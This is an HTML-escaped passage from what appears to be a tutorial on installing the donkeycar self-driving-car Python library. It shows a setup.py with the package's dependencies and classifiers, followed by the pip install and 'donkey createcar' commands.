&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;67&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#67&#34;&gt;67&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;68&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#68&#34;&gt;68&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;69&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#69&#34;&gt;69&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;70&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#70&#34;&gt;70&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;71&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#71&#34;&gt;71&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;72&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#72&#34;&gt;72&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;73&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#73&#34;&gt;73&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;74&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#74&#34;&gt;74&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;75&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#75&#34;&gt;75&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;76&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#76&#34;&gt;76&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;from setuptools import setup, find\_packages
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;import os
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;with open(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;README.md&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;r&amp;#34;&lt;/span&gt;) as fh:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    long\_description &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; fh&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;read()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;setup(name&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;donkeycar&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      version&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;2.5.7&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      description&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Self driving library for python.&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      long\_description&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;long\_description,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      long\_description\_content\_type&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;text/markdown&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      url&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;https://github.com/autorope/donkeycar&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      download\_url&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;https://github.com/autorope/donkeycar/archive/2.1.5.tar.gz&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      author&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Will Roscoe&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      author\_email&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;wroscoe@gmail.com&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      license&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;MIT&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      entry\_points&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;console\_scripts&amp;#39;&lt;/span&gt;: \[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;donkey=donkeycar.management.base:execute\_from\_command\_line&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          \],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      install\_requires&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;\[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;numpy&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;pillow&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;docopt&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;tornado==4.5.3&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;requests&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;h5py&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;python-socketio&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;flask&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;eventlet&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#&amp;#39;moviepy&amp;#39;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;pandas&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        \],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      extras\_require&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                      &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;tf&amp;#39;&lt;/span&gt;: \[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;tensorflow&amp;gt;=1.9.0&amp;#39;&lt;/span&gt;\],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                      &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;tf\_gpu&amp;#39;&lt;/span&gt;: \[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;tensorflow-gpu&amp;gt;=1.9.0&amp;#39;&lt;/span&gt;\],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                      &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;pi&amp;#39;&lt;/span&gt;: \[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;picamera&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Adafruit\_PCA9685&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          \],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                      &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;dev&amp;#39;&lt;/span&gt;: \[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;pytest&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;pytest-cov&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;responses&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          \],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                      &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;ci&amp;#39;&lt;/span&gt;: \[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;codecov&amp;#39;&lt;/span&gt;\]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      include\_package\_data&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;True,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      classifiers&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;\[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# How mature is this project? Common values are&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#   3 - Alpha&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#   4 - Beta&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#   5 - Production/Stable&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Development Status :: 3 - Alpha&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Indicate who your project is intended for&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Intended Audience :: Developers&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Topic :: Scientific/Engineering :: Artificial Intelligence&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Pick your license as you wish (should match &amp;#34;license&amp;#34; above)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;License :: OSI Approved :: MIT License&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Specify the Python versions you support here. In particular, ensure&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# that you indicate whether you support Python 2, Python 3 or both.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Programming Language :: Python :: 3.5&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Programming Language :: Python :: 3.6&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      \],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      keywords&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;selfdriving cars donkeycar diyrobocars&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      packages&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;find\_packages(exclude&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;(\[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;tests&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;docs&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;site&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;env&amp;#39;&lt;/span&gt;\])),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      )&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Once you have saved the setup.py file, you need to run the installation again with the following command and then run the create car command. Both of these are outlined below.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install -e .
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;donkey createcar ~/mycar&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Once you run these, then you should see the successful installation as shown by the output below. Note - your output might be a little different depending on the conda state of packages&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
